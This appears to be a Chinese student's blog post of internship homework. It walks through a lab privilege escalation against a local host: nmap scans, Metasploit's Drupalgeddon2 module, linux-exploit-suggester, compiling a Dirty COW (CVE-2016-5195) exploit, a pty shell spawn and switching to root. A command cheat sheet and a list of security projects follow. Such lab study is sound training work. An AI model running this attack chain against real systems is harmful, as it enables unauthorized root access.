网安实习第十天作业

复现上课的提权案例

nmap扫描网段

nmap -sP 192.168.133.0/24

 

nmap扫描全端口

nmap -T4 -p 1-65535 192.168.133.137

 

进入端口查看

运行MSF(msfconsole)

search查找drupul漏洞并利用

use exploit/unix/webapp/drupal_drupalgeddon2

设置options
set rport 1898
set rhosts 192.168.133.137

进入目标机

查看各种信息(getuid、shell s

hell->id、whoami、uname -a、lsb-release -a、cat /proc/version、cat /etc/os-release)

 上传sh文件upload /home/kali/Desktop/Tools/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/hh.sh

赋权限执行hh.sh

找到漏洞dirtycow

 找 CVE-2016-5195,下载zip,上传为ggbond

编译g++ -Wall -pedantic -O2 -std=c++11 -pthread -o ggbond ggbond.cpp -lutil

赋权限执行ggbond

调用terminal:python -c 'import pty; pty.spawn("/bin/bash")'

切换至root用户

Linux内核提权利用步骤

  1. 信息搜集

    • 使用uname -a等命令确定内核版本、发行版等信息,因为不同的内核版本可能存在不同的漏洞。
    • 检查系统中已安装的软件、服务以及它们的配置,这些可能与潜在的提权途径相关。
  2. 漏洞发现

    • 根据收集到的内核信息,在安全漏洞数据库(如 CVE 数据库)中查找已知的内核漏洞。
    • 研究相关内核漏洞的详细信息,包括漏洞原理、受影响的内核版本范围等。
  3. 获取漏洞利用代码

    • 从可靠的安全研究资源(如知名的安全研究网站、开源代码库等)获取与发现的内核漏洞对应的利用代码。
  4. 编译和执行利用代码(如果需要)

    • 有些利用代码可能需要根据目标环境进行编译。确保编译环境与目标系统兼容。
    • 以适当的权限(通常需要一定的初始权限来执行提权操作)执行利用代码。
  5. 验证提权是否成功

    • 执行whoami或查看当前用户的权限相关文件(如/etc/sudoers)来验证是否已成功提升到更高的权限级别,例如获得了 root 权限。

Linux常用命令总结


ls    列出目录内容    ls -l
cd    更改当前目录    cd /path/to/directory
pwd    显示当前工作目录的完整路径    
cp    复制文件或目录    cp source.txt destination.txt
mv    移动或重命名文件或目录    mv oldname.txt newname.txt
rm    删除文件或目录    rm file.txt / rm -r directory
mkdir    创建新目录    mkdir new_directory
rmdir    删除空目录    rmdir empty_directory
chmod    更改文件或目录的权限    chmod 755 script.sh
chown    更改文件或目录的所有者    chown user:group file.txt
ps    显示当前运行的进程    ps aux
top    实时显示系统进程和资源使用情况    
df    显示文件系统的磁盘空间使用情况    df -h
du    显示目录或文件的磁盘使用情况    du -sh /path/to/directory
ifconfig    显示或配置网络接口    
ping    测试网络连接    ping google.com

GitHub是一个基于Web的代码托管平台,它提供了版本控制和协作功能,让开发者可以方便地共享和管理代码。在GitHub上,有很多与网安相关的项目,这些项目致力于保护网络安全、防止黑客攻击和提高系统的安全性。以下是一些常见的GitHub网安项目: 1. OWASP(开放式Web应用程序安全项目):OWASP是一个致力于提高Web应用程序安全性的国际组织。他们在GitHub上维护了一系列开源项目,包括安全工具、漏洞测试和安全指南等。 2. Metasploit:Metasploit是一个广泛使用的渗透测试框架,它提供了一系列工具和资源,帮助安全专家评估和增强系统的安全性。Metasploit在GitHub上有一个官方仓库,开发者可以在这里获取最新的代码和贡献自己的改进。 3. Snort:Snort是一个开源的入侵检测系统(IDS),它可以监测网络流量并检测潜在的攻击行为。Snort的代码托管在GitHub上,开发者可以参与到项目中,改进和定制自己的IDS规则。 4. Nmap:Nmap是一个网络扫描和主机发现工具,它可以帮助安全专家评估网络的安全性。Nmap的源代码也在GitHub上开放,用户可以自由地访问和贡献代码。 5. Security Shepherd:Security Shepherd是一个教育性的Web应用程序,旨在帮助开发者学习和理解常见的Web安全漏洞。它提供了一系列的挑战和实验,供用户测试和提高自己的安全技能。Security Shepherd的代码也在GitHub上开源。 这些项目只是GitHub上众多网安项目的一小部分,你可以通过在GitHub上搜索关键词来找到更多与网安相关的项目。希望这些信息对你有帮助!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值